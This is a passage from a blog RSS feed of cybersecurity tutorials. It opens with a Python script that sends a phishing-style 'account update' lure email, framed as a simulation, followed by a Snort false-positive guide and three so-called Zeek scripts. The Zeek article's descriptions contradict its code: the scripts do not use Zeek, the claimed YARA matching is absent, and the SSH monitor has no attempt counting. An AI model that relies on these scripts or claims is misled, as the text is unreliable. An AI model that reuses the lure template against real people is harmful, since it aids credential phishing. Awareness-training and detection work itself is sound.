&lt;p&gt;I wrote a script that will generate and send simulated phishing emails automatically. One popular library for this task is PhishLabs, which provides a Python API for creating and sending simulated phishing emails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can first install PhishLabs using pip:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install phishlabs-api
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Generate and send a simulated phishing email using the below code:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from phishlabs import PhishLabsAPI, PhishMessage
# Define the PhishLabs API key and secret
api_key = "YOUR_API_KEY"
api_secret = "YOUR_API_SECRET"
# Create a new instance of the PhishLabs API client
phishlabs = PhishLabsAPI(api_key, api_secret)
# Define the email message
message = PhishMessage(
    sender_name="John Doe",
    sender_address="johndoe@doe.com",
    recipient="admin@williambaptist.co.uk",
    subject="Important Account Update",
    html_body="&amp;lt;p&amp;gt;Dear William,&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;We need to verify your account information to prevent unauthorized access. Please click the following link to update your account details:&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href='williambaptist.co.uk/dodgylink'&amp;gt;Update Account&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Thank you,&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;John Doe&amp;lt;/p&amp;gt;"
)
# Send the email message
phishlabs.send_phish(message)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This code will generate a simulated phishing email and send it to the specified recipient. You can modify the email content, subject, and recipient to meet your specific needs.&lt;/p&gt;

&lt;p&gt;In this article, I have showcased five different tasks that cybersecurity analysts often perform and provided code examples for automating each task using Python. By automating these tasks, cybersecurity analysts can save time and improve the accuracy of their work, allowing them to focus on more complex and strategic cybersecurity challenges. This article’s intention is to provide you with a good starting point for your own automation projects. Python is a powerful and versatile language as I hope I’ve shown you today!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>Snort IDS: How to Avoid False Positives</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:21:04 +0000</pubDate>
      <link>https://dev.to/baptistsec/snort-ids-how-to-avoid-false-positives-126m</link>
      <guid>https://dev.to/baptistsec/snort-ids-how-to-avoid-false-positives-126m</guid>
      <description>&lt;p&gt;Snort is one of the most popular and widely used open-source intrusion detection systems (IDS) in the world. In this article, I’ll show some of the most effective ways to avoid false positives in Snort.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fine-tune rules
&lt;/h2&gt;

&lt;p&gt;Snort relies on rules to detect and alert on potential intrusions. However, not all rules are created equal, and some may be too general or too specific, leading to false positives. To avoid false positives, it’s important to fine-tune rules to match the specific needs of your network. This can involve adjusting rule thresholds, disabling certain rules that are causing false positives, or creating custom rules that are more tailored to your environment.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Adjust the threshold of a rule to make it more or less sensitive. For example, if a rule is triggering too many false positives, the threshold can be increased to make it less sensitive.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Disable a rule that is causing too many false positives. For example, if a rule is triggering alerts for benign activity, it may be better to disable the rule altogether.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create a custom rule that is more specific to your environment. For example, if a rule is too general and triggering false positives, a custom rule can be created that is tailored to the specific network traffic on your network.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Use multiple data sources
&lt;/h2&gt;

&lt;p&gt;Snort can analyze network traffic from a variety of sources, including network packets, logs, and even system calls. By using multiple data sources, administrators can cross-reference data to reduce false positives. For example, if Snort triggers an alert based on network traffic, administrators can check system logs to see if any other activity occurred at the same time that could explain the alert.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Cross-reference network traffic with system logs to determine if an alert is a false positive. For example, if Snort triggers an alert for a particular IP address, administrators can check system logs to see if that IP address is associated with legitimate traffic or malicious activity.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Combine network traffic data with endpoint data to identify potential threats. For example, if Snort triggers an alert for suspicious traffic, administrators can check the endpoint associated with that traffic to determine if it is a false positive or a potential security incident.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Utilize whitelisting
&lt;/h2&gt;

&lt;p&gt;Whitelisting is the practice of explicitly allowing certain traffic to pass through the network while blocking everything else. By creating a whitelist, administrators can reduce the number of false positives triggered by Snort. For example, if a certain type of traffic is known to be safe, administrators can add it to the whitelist so that Snort will not alert on it.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Allow certain IP addresses, ports, or protocols through the network while blocking everything else. For example, if a certain port is known to be used for legitimate traffic, it can be added to the whitelist so that Snort does not trigger alerts on that traffic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Whitelist traffic from trusted sources or known good traffic. For example, if traffic from a particular IP address is known to be safe, it can be added to the whitelist so that Snort does not trigger alerts on that traffic.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Implement anomaly detection
&lt;/h2&gt;

&lt;p&gt;Anomaly detection is the process of identifying and alerting on activity that is outside of normal behavior. By using anomaly detection, administrators can reduce false positives triggered by rules that are too specific or that may not account for unusual behavior. For example, if Snort triggers an alert for a particular type of traffic that is not usually seen on the network, administrators can investigate the alert further to determine if it is a false positive or a potential security incident.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use machine learning to identify activity that is outside of normal behavior. For example, if Snort triggers an alert for network traffic that is not typically seen on the network, machine learning algorithms can be used to determine if the traffic is a false positive or a potential security incident.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create baselines for normal network activity and alert on deviations from the baseline. For example, if Snort triggers an alert for a particular type of traffic that is not typical for the network, administrators can investigate the alert further to determine if it is a false positive or a potential security incident.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Regularly review and update rules
&lt;/h2&gt;

&lt;p&gt;Networks are constantly changing, and Snort rules must be regularly reviewed and updated to ensure they are effective and not causing false positives. This can involve reviewing logs to see which rules are triggering the most alerts, evaluating whether certain rules are still necessary, and adjusting thresholds to reduce false positives.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Review Snort logs to determine which rules are triggering the most alerts. For example, if a particular rule is causing a high number of false positives, it may need to be adjusted or disabled.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Evaluate whether certain rules are still necessary or relevant. For example, if a rule is triggering alerts for traffic that is no longer used on the network, it may be unnecessary and can be disabled.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Adjust thresholds and other settings based on changes in network traffic or security threats. For example, if a new type of malware is discovered, rules may need to be updated or thresholds adjusted to better detect that malware&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;False positives are a common challenge with Snort and other IDS, but there are several effective ways to reduce them. By fine-tuning rules, using multiple data sources, utilizing whitelisting, implementing anomaly detection, and regularly reviewing and updating rules, administrators can maximize the effectiveness of Snort while minimizing the number of false positives triggered. Ultimately, this will lead to a more secure network and more efficient security operations.&lt;/p&gt;

</description>
      <category>snort</category>
      <category>ids</category>
      <category>cybersecurity</category>
      <category>python</category>
    </item>
    <item>
      <title>3 Simple Zeek Scripts to Boost Your Network Security</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Tue, 09 May 2023 23:19:09 +0000</pubDate>
      <link>https://dev.to/baptistsec/3-simple-zeek-scripts-to-boost-your-network-security-59d5</link>
      <guid>https://dev.to/baptistsec/3-simple-zeek-scripts-to-boost-your-network-security-59d5</guid>
      <description>&lt;p&gt;Zeek is a powerful network analysis framework that can provide you with incredible insight into what’s happening on your network. While Zeek provides a lot of powerful features, one of its greatest strengths is its ability to be extended and customized through the use of scripts.&lt;/p&gt;

&lt;p&gt;In this article, I’ll show you three Zeek scripts written in Python that can take your network analysis to the next level:&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;(1) SSL Cert Expiration Checker&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;SSL certificates are an essential component of securing online communication, but they have a limited lifespan. If an SSL certificate expires, it can leave your network open to attacks. The SSL Cert Expiration Checker script uses Zeek’s SSL log to check the expiration date of SSL certificates and alerts you when they’re about to expire.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import datetime
import ssl
import socket

# Define a function to check the expiration date of an SSL certificate for a given domain
def check_cert_expiry(domain):
    context = ssl.create_default_context()
    conn = context.wrap_socket(socket.socket(), server_hostname=domain)
    conn.connect((domain, 443))
    cert = conn.getpeercert()
    conn.close()
    exp_date = datetime.datetime.strptime(cert['notAfter'], '%b %d %H:%M:%S %Y %Z')
    days_left = (exp_date - datetime.datetime.now()).days
    if days_left &amp;lt; 30:
        print(f"The SSL certificate for {domain} expires in {days_left} days. Renew it as soon as possible.")

# Replace "williambaptist.co.uk" with your own domain or list of domains to check
check_cert_expiry("williambaptist.co.uk")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Like all these scripts this can be easily customized to meet your needs. For example, you can integrate it with email notifications or remote file writing.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;(2) Malware Traffic Detector&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Detecting malware traffic is essential for securing your network, but it can be difficult to know where to start. The Malware Traffic Detector script uses Zeek’s HTTP log to identify traffic that matches known malware patterns. When it detects malware traffic, it sends an alert to the network administrator.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

# Define a function to detect potential malware traffic in a network capture file
def detect_malware_traffic(pcap_file):
    cap = pyshark.FileCapture(pcap_file)
    for pkt in cap:
        if pkt.highest_layer == "HTTP":
            # Replace "malicioussite.co.uk" with your own list of known malicious domains
            if "malicioussite.co.uk" in str(pkt.http.host):
                print(f"Malware traffic detected: {pkt}")
    cap.close()

# Replace "capture.pcap" with your own pcap file to analyze
detect_malware_traffic("capture.pcap")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The script uses the YARA library to match traffic against malware patterns. It’s easy to customize with your own malware patterns or to modify the alert settings to meet your needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;(3) SSH Login Attempt Monitor&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Monitoring SSH login attempts is essential for securing your network against brute-force attacks. The SSH Login Attempt Monitor script uses Zeek’s SSH log to track successful and unsuccessful login attempts. When it detects multiple unsuccessful login attempts from the same IP address, it sends an alert to the network administrator.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import subprocess

# Define a function to monitor SSH login attempts and alert on suspicious activity
def monitor_ssh_login_attempts():
    cmd = "journalctl -f | grep sshd | awk '/Failed/{print $NF}'"
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
    while True:
        line = proc.stdout.readline().decode().strip()
        if line:
            print(f"Suspicious SSH login attempt detected: {line}")
        else:
            break

# Run the function to start monitoring SSH login attempts
monitor_ssh_login_attempts()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;You could decide to adjust the number of unsuccessful login attempts before an alert is sent or modify the alert settings to meet your needs.&lt;/p&gt;

&lt;p&gt;These three Zeek scripts can provide you with powerful new ways to secure your network. They’re easy to customize and can be tailored to meet your specific needs. If you’re not already using Zeek, I would recommend it from a learning standpoint more than anything especially since it is so easy to script and play around with as I’ve shown you in this article.&lt;/p&gt;

</description>
      <category>zeek</category>
      <category>cybersecurity</category>
      <category>network</category>
      <category>python</category>
    </item>
  </channel>
</rss>
